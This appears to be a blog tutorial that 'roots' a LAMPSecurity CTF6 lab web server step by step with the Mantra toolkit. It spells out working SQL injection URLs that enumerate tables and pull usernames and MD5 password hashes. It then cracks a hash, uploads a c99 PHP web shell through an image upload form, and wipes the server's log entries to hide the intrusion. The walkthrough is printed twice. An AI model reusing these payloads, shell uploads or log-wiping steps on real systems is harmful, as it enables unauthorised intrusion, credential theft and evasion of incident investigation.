Hi All,
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
![[Image: mantrahackbar1.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uozDdH916Gr6EM3VZUwO9TR3fnupIXRiG28zRWkYeZEMAd95MvFl6fVnoo2x7BaNps5FU1MS62WXo80Z2dPpPcMiodY6LuKYp-0lAOtvgnOoq55Um3GP4JGhl2tmzuwxBxFniJrPcbXNsHXDvkqosPHeD9QTu4pS7RMQoHYnE2fJR6=s0-d)
Step 2:
I went through all the pages of web site and found a page with URL input
![[Image: mantrahackbar2.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uVDOMIzjsDHnbcnwpbcvnL86NAeF1sz9dORb-6D_dfmR3ygCimJyzB4M0QEeMNi3mQrWxyH_E6mptYZrU1HbhphjRlYTOG58i8YrEwKLxubFZJ8WoXSv6wxDh1U_V2pOx3zgPZlIrkSmHdjsWUbOCCI3OkwTzaQRsXHYNfP_fEHoqSxQ=s0-d)
Step 3:
I launched Hackbar by pressing F9
![[Image: mantrahackbar3.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tgtCRuV8N7DKOKEDBys_djVeZaAdmdih7PkCqGJBeODTbDwnyb9BRgm54jV2W_TSYatJIqwJhL-AU_S1kidbnCmHAZdbI1LmAxRo5v60pORSi7r9h_Zs4sac2p-BXRyXagFBaXebk3SpzvGEF8xLcbTky0vhvPV7-CONshr0OYqZiJig=s0-d)
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
![[Image: mantrahackbar4.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s7N8eTuQMCzFTj8YQbIteRJB-F7aSu0wb2sYIDBQGMwr0Y6kb5yexmtPLbSwt-VlJVP11CKDKfW5tQJ0gJEOy7uEulr_MSg7iIG48nSgi1XUnqMsSbTV5_wmVYCQ_V-hjWJPoysRVrQnUTbWgxvae4B_cEF3Mqod4O0qkY3FLFNkQfJA=s0-d)
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
![[Image: mantrahackbar6.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vsDYam2S-hfvSZKA6tmb2GyrNSTZDElUMRsxUelVjaIWissC0cPXc-w1BBJwI7QtlEkQzPxWWel-X65WtEW1ifqDsg9ssG9BzziPlFr_A_wfjbM4AYPVIlhwwXA-DpAgfoCtlVHYHX8qUeWJJ72yMZktUzAyKqo7cFz1Jn2uly8RHj-Q=s0-d)
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
![[Image: mantrahackbar7.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v2Z_dhC9mtH7iskYrJBburSe4Y0XfaGGHC9bYg0aPkLbrnsgERc2IzBUslqqYFaovIgh4tYCGV2oaevBTubZqQRbNVQXzcXoJTpoqc3NVGlUQVXlSc_NINlqp29bpIhzkrJQ08gptbm_HokiiXpGvCuFJRQmPYnlwNEJ4FKMexHInd=s0-d)
Step 7:
I went up to 7 and no change till now
![[Image: mantrahackbar12.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vadC5fFRtv24QG9sFV8Av9WW2MbGr04BMOK1vDM9x3XfFQxtgsL5IjYrOmMvbNxWfyB70MBq8dkGWzBKdt_8AvgYZbTN32l_Abi5VWb--i1Gee9G8HRR_o5UxWKbhexcMPKtu_mh6bevM5sYcE7pJRvTHwHrSniYv20-kpxmO2qteQZj4=s0-d)
Step 8:
I'm on 8 now and I can see the page changed
![[Image: mantrahackbar13.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u6HRLReoyObJfkWK51fOgzE4rLOSqIStLNFpR-GNixFbYzm7i_N7ZQdTKo4Xg_TN1WDeVlduDMJ1yNMbwZLLFZWBqiMMNPk44_u2DBlknMRdkrlGXtAobg7gO9a089Pu_cXv_PbbgprVapzXKtVVtZgeUT0OVH0hlFUKVJkWPYPRcSde4=s0-d)
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
![[Image: mantrahackbar14.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_trUHeFDF25CU7WtF8d5ACxv_hO3JUHblwF6vRNq9x2YunVRy3mxXb_EWX5uBvNumzROaX_QfxmJ6oF-4zIlHTeT5M_S0kJsD6Pszw0qWMRcL-fY5qQl_Zfn0W_1mpc6zQJ8xMe60SqkG2SNSVDQyupWHaQDRYnM7ilCCFGaXzI6zvhp_E=s0-d)
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
![[Image: mantrahackbar16.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vf-ItnfQB-e40AspsNC99KDtDajmXlPVztN6ISZ7YP6tmu5FP2PwhtwxtS2KwxLXIB_iAUaPnhwod7qhHqo_atkhPjOh1Fzwu-mBueooKDjnL_aw1-bJruJ3_pSYccsLEkdTmsc_fAnkeEXdSciL026jQxC77sX3RfkMKHwI_PTItNPmI=s0-d)
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
![[Image: mantrahackbar19.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u8xBTrUVtq9Yfzd93BkdURw4po2qJPwunDUomfgcz4Lmmq4DfjC_ydLkaFct1LzsP1NID3NLs4ezT_vHeFhO5BLpT3k7YQ4AnlLe2Lw-Lt5H08F0b8ErpyympXb0JuXbJtq0C3UIhQVhEtClNJxv9XRzqqBqVJ5_GeD1873wW5OSJv6w=s0-d)
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
![[Image: mantrahackbar21.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_va6BZb4YfpCDbFlpFhyPoJd61Bt8rgDuDmb07DLdwyot1kWTmUj17j5FPip28oOeuBDoUrIbkmPEZptHNPtAIbWfVSaCsN7BHVIUhCQwpADkxuH4E_CCmx2mDBefhP783hTEU3MD24XzwIBcuGUWQ_7Q55edri7zJhzl72eywSnF7eqR8=s0-d)
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
![[Image: mantrahackbar22.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s0gmdIkHP3qA-67kYBklCDisyOIXw7wfkRiqYVFgjOYoWzDH6VGJwjX26euP_WkC9mqDC5iBmv0KTe3fk-cp7ER-jZQk4X469zE7Z-kgKfT8b7uittyZLjSKD2o22Oym_VyOhb7yIqV-a_Sj3JBbHOtFjpxxH_K23z1kVZOCinMV79cSM=s0-d)
5.0.45 is the version
Step 14:
Let me list all the tables
![[Image: mantrahackbar23.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sqWDq0aH7_H0yGySGvNb-cQIBi_5Fmd09nmocoK0xo-tCficrMN2Y7Zh9qWNn0YlosgZkcH-uWMXdJW_p4_ebsbb2m-Zlin3kXubDfodmoXvKwyptU4do_SayFRYyPjQPsV4owAhL8sowj8ItYO2Z2DRrBbKHfQiVARoJw30k0lCg_QA=s0-d)
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
![[Image: mantrahackbar24.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vLGK6-0HRom4xditzOffSwwzybbjiQDXbPQpV9dS7knd1ixbDgXjGhdKClOxejiXBcn59423qgsBR2ZwiMimoImPka2UjYxK-i0ST4ypRwqWPtBV83U3Q0_HofpRwM_7opEZ8-3VrllZWr2hkzBcR3z4g_LziTgcanC_wx86sOjc_fKg=s0-d)
Step 16:
I want columns from the table "user" and nothing else
![[Image: mantrahackbar25.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sVJcy-u1EmQSyt8oZ0LYdG3fE2XGxqSRuRyBbYY115PZKnrwGmxM3j7yay--8TEY2aSIOQudc9_M-n3TSDNPpFIcutLtEkQIk6kLKR5PuzCPSOV-HQ240s-hj4FxUup806kiAYuvUfDu0bpeA2cTzUtwD4PgqaHoRvCnPNQgKtZlVeOgk=s0-d)
Step 17:
Lets find the user name
![[Image: mantrahackbar27.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uQ28Vo4DV55XUwdKtk1OemmrWjNbF7ZSoWHS7p2pfyCI1gKoVumzBAW_C2y_SZpV0qvTSOJpAX5aZoZAY8H4dqMoQojhIITs19cNz6wjV5R8hWO3I6H-calcHgMLyhuuw6IEMXd3VUeXetvS64xLTCp9hs4KFaXpBagArdj7IJW66DrHQ=s0-d)
Step 18:
Now, what about password
![[Image: mantrahackbar26.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tJlzOXuY7OdXxZ27gb5-noeOOTBdrpdZRb56VbXHfy_wNb-RRRCkMMte1mSOg6qf0kq6xO_zS7Ct50E52JpxggddJUY_NNCcujEUhVF4FVs6AGjQaDuSCidE7acFnbQ3HbRiIZitXcoZ9temcn7H4GqcRxBRmnSiAAe1l1ionq7ud7SBA=s0-d)
Its encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
![[Image: mantrahackbar30.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tG2y8PFIkLFGNBKkUfX5-a7rZI1l86dfGC976vYM_2GK0_Ecjob0V5ZMex4jSkoOK5JU5TpacgVFAe_Wv4-Xneps-oX3DP1PvkvVr20HSdXixA_ayqxa1C7ZhR7F4knnDE_DEVkV4LkYkcMSrhBxH4Fv1IYodH3OOTShXYpQCE1nSuAIQ=s0-d)
Step 20:
Voila.!!! I got the password
![[Image: mantrahackbar31.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vyyEeH1S3zZBu9SK-0btYkJhXURyuJVLQxsl7y_yIPd_MB3VMGoYPYkCSpEfeE-1OFX9Dap9v2lUr__GKqYDjsbQEySxOkW6gpDOGBp165Dm6q5-Ok7mijOd0c7E-MLSWyKQg2kRGJWZxg3iNxWslx_7EVBfQYAYHZzjpB45gObPNyjrs=s0-d)
Step 21:
Finding the log in page. Its was right in front of me
![[Image: mantrahackbar32.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_va7xDw2RSCFs1KK4JXeW7UuDw1LsxL4kezaEWHEXN_x8J9uJJyORP2Dgo9KxkeW8aspRdWYg8sTysWK6bJIfYPkClpBwVpZ7h_HPNqsDEk2ANk0RLW8pFh524lzGczPpvv1YCJhs2l2RsDtMGHIZlsiJEoV-Vb71MW5CBObKkiTQ5z8cU=s0-d)
Step 22:
Logging in with the credentials I have
![[Image: mantrahackbar33.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v48mUoL5K5-CW9Vaz0aXR6p7BWKPMlOOjQg7u2s96CX5nu3YsXpubMMdwKUYAourUMbTWDfcf12nA3nGcNctwYubRSuAJXcvGhxEgj00cl1KebpR14_8GMNstkgfOYg3z7ZhR7ffccMo9A9yH8a55URHQ7RXlNBR_NHHynZE7OBNR8-VU=s0-d)
Step 23:
Greetings.!!!
![[Image: mantrahackbar35.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tRe_NkUQ7a1-LkabJyQN3V0DNV0Zw_G2t630ygxmnac6PUJjLUjnsauuoJsHcwAwXAIP5M-14676N8rNEoJBY-9x9BxdtYN37utzUssp-X1IujwX8JS61drG58B2YmVrv1j55D4kDGOOXvfk6w5MbT8iBXJGZb9c92p-s8mMcnDiVW37I=s0-d)
Step 24:
I'm an admin now. Look at my powers.
![[Image: mantrahackbar36.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t0eBPjt5mZr55HJuOM5ytVE3guDxKaEGVvG4NaAOGDLbz7VQHKAr-GxRW47jW4ixjM3PJ5QnTgrzUzsllI2lcsm4kTYbz23Y8-dj0TNaWFEvNE7Q1w6kmSesXHp3jhgpgvwRKAY2-8KiQ79GqTC27Lvzh6JE9Xu1t2bWPJ-DXeSUD4ZYU=s0-d)
Step 25:
Let me add an event
![[Image: mantrahackbar37.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uc_B-dF4gX6xPp1WdmpaUMuQL3d9OEecYAwt-Wx1fdtLoP1CiLRnBHg4MKZocM-SotasTPGlnRuxMYL3DAWUrP2PIb6FrDX1A4gIzkBeMSo7_Cg0_mq5ptPm8O9tqPp2GtqM0oQI-3ySLFkMl18YtJrom7ugOzfUHlUctC5mLI574DqQ=s0-d)
Step 26:
and of course I want to upload a picture
![[Image: mantrahackbar38.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vaGcVdvIMcSH9csIdmZgmRa14Au701uvkTM8U6N3R6_9sqsqFOHvTMWtgv4NPVyfsQSnDqffZRTo4WA8zAH_yueimFkdGHa_-II4-hNSv1WW-coN5ekkuJ5qMPlxXY4ejO5VPKZWzfKGQHS-H-Kw3OoS4eXXCwtgds_0U7F92fhvHLhg=s0-d)
Step 27:
Lets see it allows me to upload the shell or not
![[Image: mantrahackbar39.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s5Jb3hPHZnta2F95kx49mV5pVL41fW5MIddGKvdPvF1PlcEUYS7WI3Gv8vQuq0Folh5fYcIMohgqxkzMRmx4JR7Mgi0XY3Ivq7AJnXtev1FICIKhE-ozb_iyl12GLCmG1_niomuaPmeniaS5sS8uf2ZBGvCphU06_-PGz612XTCxGKwMA=s0-d)
Step 28:
Now I'm pressing on "Add Event" button
![[Image: mantrahackbar40.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s-7PjvSLUInp6nQeq4V_ZdjcQa7Wh7JYkY6rHagUwQT5fHF2bGqtZ62PtWNOrCJnm5LiCJmYAi_ugEU8G3xyemxqhSLXrpISQS0UlVw2gd1qlTrYX-uinR4JPLTkPRh3Q3yddcgHkkdDmtCU2YDsvTsYk8scurIQWl2v-9MZiNMLie51o=s0-d)
Step 29:
Nice. Looks like it's got uploaded
![[Image: mantrahackbar41.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sBgGS_iytzaqOJtPposUJjMsC076_j_IUaaIagVAvalSEVdFjOI6q471AuKxGp37iHKCj6Cu7tgHf9oJXMo814t6vt675haq4M_6sViee-A19nxvR1h_OmodIKb7le-sPOIXdosfDPKM9bHSfgM0R2ZtoxcNN2doLG2FldM0JsqsW6kg=s0-d)
Step 30:
Let's see where the shell got uploaded to
![[Image: mantrahackbar42.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uOTP6H81FU8-Jr9r-SPRhfNY9ZUWR9_WQfaSNQTed8UiZ5t727M0CqDAiM0Nw8RodKLoZtIW-EyUOE_9CZSQHwNi93QxOZLV3erF9IyJXfFlohVkIr0txqTu4Byi1MYSfFtBdsscDlJGRsdv8r7FZ8DqDktmKf58JsA2WHa9tH_fdgkdI=s0-d)
Step 31:
I'm trying to get the default upload location
![[Image: mantrahackbar43.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tJJmUvHkMsheVSuZExxmDY9EdvTBsRYS2J1FpdsKsEE04lueeRPEvSKwQVMgHJx2Za20qgZEL-W3ukj9Zm_CylvPECZnV6qEuShwCjkYrkINMPon-AMzLB3a5s119wRqL0Q7hTn1bKVlBHn-KTdlEsD0q3GCze6tPIt_IBljYapbArMgo=s0-d)
![[Image: mantrahackbar44.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_slOl6Al1JlK0rDPOa5XfuRmwcFITIfzVRtWOvnJW_b9xeYurdq9FJggkQc4HUtEjc6dPoXk0KuD5c-oiYq8P0ptB2qY8_IuUqgbE7-q_u4NT_6vJ11994L4TTbxeGuIpDe5Fj66WS_Hg-TPJ2L47JwFHl0f9T4xSrUuNeoKHR0iVYMsp0=s0-d)
Step 32:
Looks like I got it
![[Image: mantrahackbar45.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v99KtTQJNpGiD-lV1e_LOrjOxM0BqCb_IYbOxwWYKTNyqqmoIEHSmzT2PAxag7PpNfZd4DgpI0R8OMCdftoO2VjLxNJTZNAXNGAlCKpxpHMVqOrDKo5bk5gWpJrXPAAEjQR7QzgWY8EtiYk93EvPBQ3TSXk9ZjEJiMSunXUqOPGV9PMDo=s0-d)
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
![[Image: mantrahackbar46.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tFTT0tTU41MlajV4bHtiq6z5DuJu03rXBqS3BIRsyO2dFCv2KxyVXAYkWFPfbV8H96cnVx9LmFCvNvWyo0wNSQ5ry5d8fZh5UmbsSb43RBPWkBL2daZCXZbXV0rXC10Chjhk_ltzGZl56UNy0hAIS_h2NBlNh-3pwKdNMsraIGs5a6YYg=s0-d)
Step 34:
I simply clicked on the up button to get the root folder
![[Image: mantrahackbar48.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sQoKSZmOG9p-2s13XZcR0YX060USduHWeLjJRdDopgfMXQU7rzRtHZ0Od2M7m5VUWLnkOsXJWIQtsldU9Td7hE5hMICCmkDxbKY-j51gRp4EKY-GdYbn3PrPV9QWzyYNVQ7pXVeTmT9jB4HBGxNkPle8BdtPpug8PMfhRJPAoSsAWnlj8=s0-d)
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
![[Image: mantrahackbar49.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tvxQJL5ft0FoeSKJXmXOWpYtJN29ii8X-6AD74A4j_9kqR5q9QJzV_UmwXOAvvH7OljL2Pt_6X6pK6jGY3ZXl0TXyexF0D4Qyy7t6J0xAM6e3mWmsbXkvNFEzDNCf4u5ZovAICPWAjJIRBbPTshW1yOlAUnw4gn9E9hbCnyaM94Nm1TwA=s0-d)
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
![[Image: mantrahackbar51.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vg2D131s9WLBymFvg-qmdeUblKmsxwbadK8hXqUMfTez3gfmrEs1tnHgJwwE-Kz8FDGbUu1-6CgvosOyEQSKfthZxOjUT9UyC-7Qi8-YmoAgPWE2DQTwk8AChwIatQn1gRvTRrN9acGCWD45V2H4yIMySjnn5z7-W9eHsgofYs3i6aOw=s0-d)
Step 37:
Let me go back and edit the log file
![[Image: mantrahackbar52.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vF0gq31_ATSs9BPkawLcETqkLcx6T1qshz88AmQVWPruWUIlNFGYDvjUq7vKhqeVF7aPs08_wkXcFr9ftN6hbDFin9_icmBFAPxZVqUbm02mimHJ1xaIrIzBkQdAV1TBGRWxhHPrlDlYWn0pRw1__YMFybS6tVyyySVGKpJSIZFEiE1Zo=s0-d)
![[Image: mantrahackbar53.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tBOr2UgO2Ctyjcc6BYLYKvAhdY0LKlD0dlBu5ObIqcQyyqvM0cCVFMdcLn-4FahTibzohH_dsbWVzHqjk1zXGntOzfSQrR6n20ML_1R9Av3ioLWl1HbyAmwPyUIXEC9sgqRGRaNqvT5c6rRsSlD4GHJnCY_0YnI13KRt1vY7O8Ibx5Yg=s0-d)
Step 38:
I deleted complete log entries. Now saving it.
![[Image: mantrahackbar54.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uz8lck2k75BUS1r5_TwgA-ZW4QYmNLyiWJ6ffFUSxKpGqGK9tTv2TJG4N-aviNBUdMU-9-7gBeVj-JsIHj5Z1-aVwTQA_JGW3PWW0C68j443r4QOkMDIJEEDmLNps2mAaBz3bIMbL1FXwyJONEmA9CW6urxoLxT46vklQWAsvq-m1_Lac=s0-d)
Step 39:
Nice. Log file is empty now
![[Image: mantrahackbar56.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tN5hpXB_sEF0bFI6eA-EPaLE7tLQlLvfrGbvG0ynvUqRGJD9OkHZkIWFqMBEon1xs4HPQrB2QSgUAkouj8qCDekgLSuaLpywwYue0sFEUlzxxVgcawoCXHdc1BdJ_sP32fc6wHTOjj6aTXL6-g4ZKXXJ_nhnU6qqHBPKF1SU8-02q_pms=s0-d)
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
![[Image: mantrahackbar57.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vnZKxEJIHEx0zarWkFNLbXpKx9ge6nUM5bY_WdI1huWU50XLl8o1Yk93OmUEsYdI_3ut2v6JVMp4d5AvCI7RULy1-SQHb9HChaaNb696QF8uteQutslklK0bl5szqgACimZlbvaO-ufq5VzsTR2MWTtJ59LI4wia_2kpcobnbDQI5HXG0=s0-d)
Step 41:
Confirmed.!!!
![[Image: mantrahackbar58.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sv4VCASszqxnthCr3gqDcHQlqEKve9ocXi6SDzB5Mizg0YE8ekJAeNQFg5tYiGXufA3Stkyea6IJds0xRi-wQXHPykTApebnZ4CQNRkl0eWVoxzXIjOeu4W5qZ6FVialLIEoJMVOu4uNhfHf579AjqkLZewW7QFsISjPkPfs2y7biAujg=s0-d)
Step 42:
OK. Good Bye C99
![[Image: mantrahackbar59.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vrm_EKUYKF-BPzTB5JoyyzMFZ22bqC1KhYpe6vbMt47lMHTckiE4OLaoEt2rENNu45Z-ciD6ikiFGdkyy_7p3yb6Dg66YcNat_EyDowg6NzUaJLLiH8nKc_qFTgGJnMWpcVQCh4EupJlMjbkr2Y3YNSaKO_0m4VRkgrgG_eEwVdJUZEw=s0-d)
Step 43:
Well. It got deleted itself
![[Image: mantrahackbar60.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sFcSmJ6h40Palok-15n_dZh7myMm86l3Gk3QAFTbzKqPHJGrjsoN9bf2Bk0LEA0EngSAiQCyJCk-gdOw5Ew3e_NgwJJWlea7O0HTdA6TmAnSLacshS7Jh26TWK-U2aGwkanK9xES74M0fMENwpyE-SLb_L277GlWonJKR0LvhY6Ehyqh4=s0-d)
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
http://192.168.132.128/
Step 2:
I went through all the pages of web site and found a page with URL input
http://192.168.132.128/?id=13
Step 3:
I launched Hackbar by pressing F9
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
http://192.168.132.128/?id=13'
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
http://192.168.132.128/?id=13 order by 1
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
http://192.168.132.128/?id=13 order by 7
Step 7:
I went up to 7 and no change till now
http://192.168.132.128/?id=13 order by 7
Step 8:
I'm on 8 now and I can see the page changed
http://192.168.132.128/?id=13 order by 8
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
http://192.168.132.128/?id=13 UNION SELECT 1,2,3,4,5,6,7
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
http://192.168.132.128/?id=13 UNION SELECT 1,user(),3,4,5,6,7
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
http://192.168.132.128/?id=13 UNION SELECT 1,version(),3,4,5,6,7
5.0.45 is the version
Step 14:
Let me list all the tables
http://192.168.132.128/?id=13 UNION SELECT 1,table_name,3,4,5,6,7 from information_schema.tables
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns
Step 16:
I want columns from the table "user" and nothing else
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='user'
Step 17:
Lets find the user name
http://192.168.132.128/?id=13 UNION SELECT 1,user_username,3,4,5,6,7 from user
Step 18:
Now, what about password
http://192.168.132.128/?id=13 UNION SELECT 1,user_password,3,4,5,6,7 from user
Its encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
Step 20:
Voila.!!! I got the password
Step 21:
Finding the log in page. Its was right in front of me
Step 22:
Logging in with the credentials I have
Step 23:
Greetings.!!!
Step 24:
I'm an admin now. Look at my powers.
Step 25:
Let me add an event
Step 26:
and of course I want to upload a picture
Step 27:
Lets see it allows me to upload the shell or not
Step 28:
Now I'm pressing on "Add Event" button
Step 29:
Nice. Looks like it's got uploaded
Step 30:
Let's see where the shell got uploaded to
Step 31:
I'm trying to get the default upload location
Step 32:
Looks like I got it
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
Step 34:
I simply clicked on the up button to get the root folder
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
Step 37:
Let me go back and edit the log file
Step 38:
I deleted complete log entries. Now saving it.
Step 39:
Nice. Log file is empty now
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
Step 41:
Confirmed.!!!
Step 42:
OK. Good Bye C99
Step 43:
Well. It got deleted itself
H4qqy H4ck!ng
This comment has been removed by a blog administrator.
ReplyDeleteHmmmok Nice share
ReplyDelete